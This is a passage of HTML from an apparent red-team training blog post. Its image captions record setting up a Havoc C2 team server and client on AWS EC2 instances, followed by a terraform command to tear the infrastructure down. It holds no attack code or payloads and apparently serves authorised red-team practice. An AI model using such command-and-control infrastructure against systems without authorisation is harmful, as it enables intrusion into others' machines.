class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4jRm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 424w, https://substackcdn.com/image/fetch/$s_!4jRm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 848w, https://substackcdn.com/image/fetch/$s_!4jRm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!4jRm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4jRm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg" width="1104" height="195" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:195,&quot;width&quot;:1104,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:24329,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4jRm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 424w, https://substackcdn.com/image/fetch/$s_!4jRm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 848w, https://substackcdn.com/image/fetch/$s_!4jRm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!4jRm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab39eedf-34f8-4c44-9e49-580179a5ddad_1104x195.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Havoc C2 team server built successfully on the Ubuntu EC2 instance</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4LzW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4LzW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!4LzW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!4LzW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!4LzW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4LzW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg" width="1105" height="536" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:536,&quot;width&quot;:1105,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:93143,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4LzW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!4LzW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!4LzW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!4LzW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa963b2aa-5110-4281-b164-7db53461c63b_1105x536.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Executing Havoc C2 team server</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FvKt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FvKt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 424w, https://substackcdn.com/image/fetch/$s_!FvKt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 848w, https://substackcdn.com/image/fetch/$s_!FvKt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!FvKt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FvKt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg" width="929" height="259" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:259,&quot;width&quot;:929,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:56345,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FvKt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 424w, https://substackcdn.com/image/fetch/$s_!FvKt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 848w, https://substackcdn.com/image/fetch/$s_!FvKt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!FvKt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6475d0bc-8f80-470a-a572-2c27f48cc6a0_929x259.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Havoc C2 client built successfully on the Kali Linux EC2 intance</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gYJR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gYJR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gYJR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gYJR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gYJR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gYJR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg" width="1456" height="821" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:821,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:213575,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gYJR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gYJR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gYJR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gYJR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F34f25d97-f913-433a-b631-8a2344a3f144_1915x1080.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Executing Havoc C2 client via RDP access to Kali Linux EC2 instance</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fI9i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fI9i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fI9i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fI9i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fI9i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fI9i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg" width="1456" height="452" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:452,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:66937,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fI9i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fI9i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fI9i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fI9i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9f9c1a69-177e-4ec1-8570-6d2109047403_1918x596.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Havoc C2 client successfully launched</figcaption></figure></div><p>Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):</p><pre><code><code>terraform destroy -var-file "secrets.tfvars"</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zwaM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zwaM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zwaM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zwaM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zwaM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zwaM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg" width="1104" height="347" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:347,&quot;width&quot;:1104,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:106158,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163691799?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zwaM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zwaM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zwaM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zwaM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e94379e-7711-4e40-b66f-4571bea9ad35_1104x347.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" 